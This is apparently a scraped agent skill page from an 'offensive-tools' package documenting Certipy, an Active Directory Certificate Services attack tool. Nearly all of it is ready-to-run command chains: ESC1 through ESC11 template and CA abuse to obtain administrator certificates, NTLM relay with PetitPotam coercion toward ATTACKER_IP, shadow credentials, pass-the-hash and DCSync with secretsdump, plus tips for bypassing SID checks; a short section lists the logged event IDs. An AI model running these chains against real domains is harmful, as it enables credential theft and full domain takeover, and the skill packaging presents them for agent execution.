offensive-tools/windows/certipy/SKILL.md
Auth/lab ref: Python-based AD Certificate Services testing tool.
npx skillsauth add aeondave/malskill certipyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Python ADCS attack toolkit — enumerate templates, exploit ESC misconfigs, shadow credentials, PKINIT auth.
pipx install certipy-ad
# or
pip install certipy-ad
# Password
certipy COMMAND -u user@DOMAIN -p password -dc-ip DC_IP
# Hash (PTH)
certipy COMMAND -u user@DOMAIN -hashes :NTHASH -dc-ip DC_IP
# Kerberos ccache
certipy COMMAND -u user@DOMAIN -k -dc-ip DC_IP
# Full enumeration — save to JSON+txt
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -stdout
# Save results for offline review
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -output certipy_results
# Show only vulnerable templates
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -vulnerable -stdout
# Include enabled templates only
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -enabled -stdout
Output fields to inspect:
[!] Vulnerabilities → ESC flags detectedEnrollment Rights → who can enroll (domain users = broad attack surface)Extended Key Usage → if empty or "Any Purpose" = very dangerousEnrollee Supplies Subject → if True = ESC1 candidateCA Name → target for requestTemplate allows requester to set arbitrary SAN. Request cert as any user including DA.
# 1. Identify ESC1 template
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout | grep -A5 "ESC1"
# 2. Request cert for administrator via SAN
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
# 3. Authenticate with cert → get NT hash
certipy auth -pfx administrator.pfx -domain DOMAIN -username administrator -dc-ip DC
# 4. PTH with recovered hash
secretsdump.py -hashes :NTHASH DOMAIN/administrator@DC
Full one-liner chain:
certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "UserTemplate" -upn administrator@DOMAIN -dc-ip DC && \
certipy auth -pfx administrator.pfx -dc-ip DC
Template has Any Purpose EKU or no EKU at all — can be used like ESC1 (SubjectAltName allowed when requesting as agent).
# Same workflow as ESC1 — request with -upn
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC
Two-step: request enrollment agent cert, then use it to enroll on behalf of another user.
# Step 1 — get enrollment agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Enrollment Agent Template" -dc-ip DC
# Step 2 — enroll on behalf of administrator using agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Target Template" \
-on-behalf-of DOMAIN\\administrator -pfx agent.pfx -dc-ip DC
# Step 3 — auth
certipy auth -pfx administrator.pfx -dc-ip DC
Attacker can modify template properties to introduce ESC1 vulnerability.
# 1. Save original template config
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -save-old -dc-ip DC
# 2. Modify template to enable SAN (makes it ESC1)
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.json -dc-ip DC
# 3. Now exploit as ESC1
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC
# 4. Restore template after exploit
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.old.json -dc-ip DC
CA has flag set that allows SAN in ALL requests regardless of template settings.
# Any template becomes exploitable — just add -upn (+ -sid if the SID extension is on, see below)
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template User -upn administrator@DOMAIN -sid S-1-5-21-...-500 -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC
Attacker has Manage CA or Manage Certificates on the CA itself.
# Option A — ManageCA: enable ESC6 on CA then exploit
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC # if this flag/path is unsupported, use the COM API (see certificate-abuse.md ESC7)
# Now ESC6 workflow works
# Option B — ManageCertificates: issue pending/failed cert requests
# 1. Request cert (it will fail without ManageCA)
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template SubCA -dc-ip DC
# 2. Issue the denied request (get request ID from step 1 output)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -issue-request REQUEST_ID -dc-ip DC
# 3. Retrieve issued cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -retrieve REQUEST_ID -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC
ESC7
-issue-requestreturningInsufficient permissions: officer rights load only after a CertSvc restart, and the issuer needsCertificate Service DCOM Accesstoo. A gMSA CA-admin cansc.exe stop/start certsvceven without local admin. Full flow + COM-API ESC6/ESC16:certificate-abuse.md.
certipy auth → Object SID mismatch between certificate and user. The cert lacks the requester
SID (or has yours) while the target has one. Fix: re-request embedding the target SID
(certipy req ... -sid <victim-SID>), or exploit ESC16 (CA-wide SID extension disabled) so no SID is
expected, or use impacket-getTGT -cert-pem ... -key-pem ... for raw PKINIT (skips the SID check).
certipy account update -upnneeds write on the target'suserPrincipalName; a self-write ACE does not always cover it (doesn't have permission to update these attributes) — confirm withbloodyAD get writablefirst.
Relay NTLM auth of machine account or user to the ADCS HTTP Web Enrollment endpoint — get cert for that account.
# 1. Start certipy relay listener
certipy relay -ca CA_IP -template DomainController -dc-ip DC_IP
# 2. Coerce target machine to authenticate (Coercer, PetitPotam, PrinterBug)
coercer.py -t TARGET_DC -l ATTACKER_IP
# or
python3 PetitPotam.py ATTACKER_IP TARGET_DC
# 3. Certipy auto-retrieves cert and converts to pfx
# 4. Auth with cert → get NT hash of DC machine account
certipy auth -pfx dc.pfx -dc-ip DC_IP
# 5. DCSync using DC machine hash
secretsdump.py -hashes :DC_NTHASH DOMAIN/DC$@DC_IP
Template does not embed security extension — certificate mapping can be abused if account UPN is controllable.
# Requires GenericWrite on a target account
# 1. Change target account UPN to administrator UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn administrator@DOMAIN -dc-ip DC
# 2. Request cert as targetuser (uses administrator UPN due to no security extension)
certipy req -u targetuser@DOMAIN -p targetpass -ca CA-NAME -template TEMPLATE_NAME -dc-ip DC
# 3. Restore original UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn targetuser@DOMAIN -dc-ip DC
# 4. Auth with cert — maps to administrator
certipy auth -pfx administrator.pfx -dc-ip DC
Relay NTLM to ADCS RPC interface instead of HTTP — same goal as ESC8.
certipy relay -target rpc://CA_IP -ca CA-NAME -template DomainController
# Then coerce auth as in ESC8
Abuse msDS-KeyCredentialLink — add a key credential to a user/computer, then auth via PKINIT without their password.
# 1. Add shadow credential to target account (requires GenericWrite/WriteProperty)
certipy shadow auto -u user@DOMAIN -p pass -account TARGETACCOUNT -dc-ip DC
# Output: saves .pfx and prints NT hash of target
# certipy auto handles: add key → auth → remove key (clean)
# Manual steps if needed
certipy shadow add -u user@DOMAIN -p pass -account TARGET -dc-ip DC
certipy auth -pfx TARGET.pfx -dc-ip DC
certipy shadow remove -u user@DOMAIN -p pass -account TARGET -device-id DEVICE_ID -dc-ip DC
When useful:
Authenticate to KDC using a certificate. Retrieves TGT + NT hash via PKINIT U2U.
# Auth and get NT hash
certipy auth -pfx user.pfx -domain DOMAIN -username user -dc-ip DC
# PTH with recovered hash
secretsdump.py DOMAIN/user@DC -hashes :NTHASH
# Kerberos ccache output for tool use
certipy auth -pfx user.pfx -dc-ip DC
export KRB5CCNAME=user.ccache
# List CAs
certipy ca -u user@DOMAIN -p pass -dc-ip DC -list
# List enabled templates on CA
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -list-templates -dc-ip DC
# Enable template (requires ManageCA)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-template TEMPLATE_NAME -dc-ip DC
# Disable template
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -disable-template TEMPLATE_NAME -dc-ip DC
# Enable SAN flag (ESC6)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC
# PEM to PFX
certipy cert -pfx cert.pem key.pem -export -out output.pfx
# PFX to PEM
certipy cert -pfx cert.pfx -export -pem
# PFX with password
certipy cert -pfx cert.pfx -password pfxpass -export -pem
# Recon
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout
# Request as DA
certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "VulnTemplate" -upn administrator@DOMAIN -dc-ip DC
# Auth → hash
certipy auth -pfx administrator.pfx -dc-ip DC
# Dump domain
secretsdump.py DOMAIN/administrator@DC -hashes :ADMIN_HASH
# Terminal 1 — relay
certipy relay -ca CA_IP -template DomainController -dc-ip DC
# Terminal 2 — coerce DC
python3 PetitPotam.py ATTACKER_IP DC_IP
# After relay: auth with DC cert
certipy auth -pfx dc.pfx -dc-ip DC
secretsdump.py -hashes :DC_HASH DOMAIN/DC$@DC_IP
# BloodHound identifies GenericWrite on svc_account
certipy shadow auto -u user@DOMAIN -p pass -account svc_account -dc-ip DC
# If svc_account is admin, done
# If not: use NT hash to enumerate further
certipy find generates LDAP queries to enumerate CAs/templates — visible in LDAP logscertipy req generates a certificate request event (4886) on the CA — loggedcertipy auth PKINIT auth generates Kerberos TGT events (4768) with cert infomsDS-KeyCredentialLink generates Event 5136 (object modified)-vulnerable -stdout over full scan to minimize noise| File | When to load |
|------|--------------|
| references/adcs-internals-and-detection.md | Template field anatomy, ESC5/ESC10/ESC13 details, PKINIT U2U internals, cross-domain attacks, Rubeus integration, detection signatures |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.